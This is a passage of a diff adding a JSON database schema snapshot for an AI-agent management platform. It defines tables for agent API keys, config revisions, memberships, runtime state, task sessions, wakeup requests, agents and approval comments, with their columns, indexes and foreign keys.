+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "agent_api_keys_agent_id_agents_id_fk": {
+          "name": "agent_api_keys_agent_id_agents_id_fk",
+          "tableFrom": "agent_api_keys",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "agent_api_keys_company_id_companies_id_fk": {
+          "name": "agent_api_keys_company_id_companies_id_fk",
+          "tableFrom": "agent_api_keys",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.agent_config_revisions": {
+      "name": "agent_config_revisions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source": {
+          "name": "source",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'patch'"
+        },
+        "rolled_back_from_revision_id": {
+          "name": "rolled_back_from_revision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "changed_keys": {
+          "name": "changed_keys",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "before_config": {
+          "name": "before_config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "after_config": {
+          "name": "after_config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "agent_config_revisions_company_agent_created_idx": {
+          "name": "agent_config_revisions_company_agent_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_config_revisions_agent_created_idx": {
+          "name": "agent_config_revisions_agent_created_idx",
+          "columns": [
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "agent_config_revisions_company_id_companies_id_fk": {
+          "name": "agent_config_revisions_company_id_companies_id_fk",
+          "tableFrom": "agent_config_revisions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "agent_config_revisions_agent_id_agents_id_fk": {
+          "name": "agent_config_revisions_agent_id_agents_id_fk",
+          "tableFrom": "agent_config_revisions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "agent_config_revisions_created_by_agent_id_agents_id_fk": {
+          "name": "agent_config_revisions_created_by_agent_id_agents_id_fk",
+          "tableFrom": "agent_config_revisions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.agent_memberships": {
+      "name": "agent_memberships",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "state": {
+          "name": "state",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'joined'"
+        },
+        "starred_at": {
+          "name": "starred_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "agent_memberships_company_user_idx": {
+          "name": "agent_memberships_company_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_memberships_company_user_starred_idx": {
+          "name": "agent_memberships_company_user_starred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "starred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_memberships_agent_idx": {
+          "name": "agent_memberships_agent_idx",
+          "columns": [
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_memberships_company_user_agent_uq": {
+          "name": "agent_memberships_company_user_agent_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "agent_memberships_company_id_companies_id_fk": {
+          "name": "agent_memberships_company_id_companies_id_fk",
+          "tableFrom": "agent_memberships",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "agent_memberships_agent_id_agents_id_fk": {
+          "name": "agent_memberships_agent_id_agents_id_fk",
+          "tableFrom": "agent_memberships",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.agent_runtime_state": {
+      "name": "agent_runtime_state",
+      "schema": "",
+      "columns": {
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "adapter_type": {
+          "name": "adapter_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "session_id": {
+          "name": "session_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "state_json": {
+          "name": "state_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "last_run_id": {
+          "name": "last_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_run_status": {
+          "name": "last_run_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "total_input_tokens": {
+          "name": "total_input_tokens",
+          "type": "bigint",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "total_output_tokens": {
+          "name": "total_output_tokens",
+          "type": "bigint",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "total_cached_input_tokens": {
+          "name": "total_cached_input_tokens",
+          "type": "bigint",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "total_cost_cents": {
+          "name": "total_cost_cents",
+          "type": "bigint",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "last_error": {
+          "name": "last_error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "agent_runtime_state_company_agent_idx": {
+          "name": "agent_runtime_state_company_agent_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_runtime_state_company_updated_idx": {
+          "name": "agent_runtime_state_company_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "agent_runtime_state_agent_id_agents_id_fk": {
+          "name": "agent_runtime_state_agent_id_agents_id_fk",
+          "tableFrom": "agent_runtime_state",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "agent_runtime_state_company_id_companies_id_fk": {
+          "name": "agent_runtime_state_company_id_companies_id_fk",
+          "tableFrom": "agent_runtime_state",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.agent_task_sessions": {
+      "name": "agent_task_sessions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "adapter_type": {
+          "name": "adapter_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "task_key": {
+          "name": "task_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "session_params_json": {
+          "name": "session_params_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "session_display_id": {
+          "name": "session_display_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_run_id": {
+          "name": "last_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_error": {
+          "name": "last_error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "agent_task_sessions_company_agent_adapter_task_uniq": {
+          "name": "agent_task_sessions_company_agent_adapter_task_uniq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "adapter_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "task_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_task_sessions_company_agent_updated_idx": {
+          "name": "agent_task_sessions_company_agent_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_task_sessions_company_task_updated_idx": {
+          "name": "agent_task_sessions_company_task_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "task_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "agent_task_sessions_company_id_companies_id_fk": {
+          "name": "agent_task_sessions_company_id_companies_id_fk",
+          "tableFrom": "agent_task_sessions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "agent_task_sessions_agent_id_agents_id_fk": {
+          "name": "agent_task_sessions_agent_id_agents_id_fk",
+          "tableFrom": "agent_task_sessions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "agent_task_sessions_last_run_id_heartbeat_runs_id_fk": {
+          "name": "agent_task_sessions_last_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "agent_task_sessions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "last_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.agent_wakeup_requests": {
+      "name": "agent_wakeup_requests",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source": {
+          "name": "source",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "trigger_detail": {
+          "name": "trigger_detail",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "reason": {
+          "name": "reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "payload": {
+          "name": "payload",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'queued'"
+        },
+        "coalesced_count": {
+          "name": "coalesced_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "requested_by_actor_type": {
+          "name": "requested_by_actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "requested_by_actor_id": {
+          "name": "requested_by_actor_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "idempotency_key": {
+          "name": "idempotency_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "requested_at": {
+          "name": "requested_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "claimed_at": {
+          "name": "claimed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "finished_at": {
+          "name": "finished_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error": {
+          "name": "error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "agent_wakeup_requests_company_agent_status_idx": {
+          "name": "agent_wakeup_requests_company_agent_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_wakeup_requests_company_requested_idx": {
+          "name": "agent_wakeup_requests_company_requested_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "requested_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_wakeup_requests_agent_requested_idx": {
+          "name": "agent_wakeup_requests_agent_requested_idx",
+          "columns": [
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "requested_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_wakeup_requests_review_path_recovery_idempotency_uq": {
+          "name": "agent_wakeup_requests_review_path_recovery_idempotency_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "idempotency_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"agent_wakeup_requests\".\"idempotency_key\" LIKE 'issue_review_path_lost:%' AND \"agent_wakeup_requests\".\"status\" <> 'skipped'",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_wakeup_requests_company_payload_issue_idx": {
+          "name": "agent_wakeup_requests_company_payload_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "(\"payload\" ->> 'issueId')",
+              "asc": true,
+              "isExpression": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "agent_wakeup_requests_company_id_companies_id_fk": {
+          "name": "agent_wakeup_requests_company_id_companies_id_fk",
+          "tableFrom": "agent_wakeup_requests",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "agent_wakeup_requests_agent_id_agents_id_fk": {
+          "name": "agent_wakeup_requests_agent_id_agents_id_fk",
+          "tableFrom": "agent_wakeup_requests",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.agents": {
+      "name": "agents",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "role": {
+          "name": "role",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'general'"
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "icon": {
+          "name": "icon",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'idle'"
+        },
+        "reports_to": {
+          "name": "reports_to",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "capabilities": {
+          "name": "capabilities",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "adapter_type": {
+          "name": "adapter_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'process'"
+        },
+        "adapter_config": {
+          "name": "adapter_config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "runtime_config": {
+          "name": "runtime_config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "default_environment_id": {
+          "name": "default_environment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "budget_monthly_cents": {
+          "name": "budget_monthly_cents",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "spent_monthly_cents": {
+          "name": "spent_monthly_cents",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "pause_reason": {
+          "name": "pause_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "paused_at": {
+          "name": "paused_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error_reason": {
+          "name": "error_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "permissions": {
+          "name": "permissions",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "last_heartbeat_at": {
+          "name": "last_heartbeat_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "agents_company_status_idx": {
+          "name": "agents_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agents_company_reports_to_idx": {
+          "name": "agents_company_reports_to_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "reports_to",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agents_company_default_environment_idx": {
+          "name": "agents_company_default_environment_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "default_environment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "agents_company_id_companies_id_fk": {
+          "name": "agents_company_id_companies_id_fk",
+          "tableFrom": "agents",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "agents_reports_to_agents_id_fk": {
+          "name": "agents_reports_to_agents_id_fk",
+          "tableFrom": "agents",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "reports_to"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "agents_default_environment_id_environments_id_fk": {
+          "name": "agents_default_environment_id_environments_id_fk",
+          "tableFrom": "agents",
+          "tableTo": "environments",
+          "columnsFrom": [
+            "default_environment_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.approval_comments": {
+      "name": "approval_comments",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "approval_id": {
+          "name": "approval_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "author_agent_id": {
+          "name": "author_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "author_user_id": {
+          "name": "author_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "body": {
+          "name": "body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "approval_comments_company_idx": {
+          "name": "approval_comments_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "approval_comments_approval_idx": {
+          "name": "approval_comments_approval_idx",
+          "columns": [
+            {
+              "expression": "approval_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "approval_comments_approval_created_idx": {
+          "name": "approval_comments_approval_created_idx",
+          "columns": [
+            {
+              "expression": "approval_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "approval_comments_company_id_companies_id_fk": {
+          "name": "approval_comments_company_id_companies_id_fk",
+          "tableFrom": "approval_comments",
+          "tableTo": "companies",
+          "columnsFrom": [
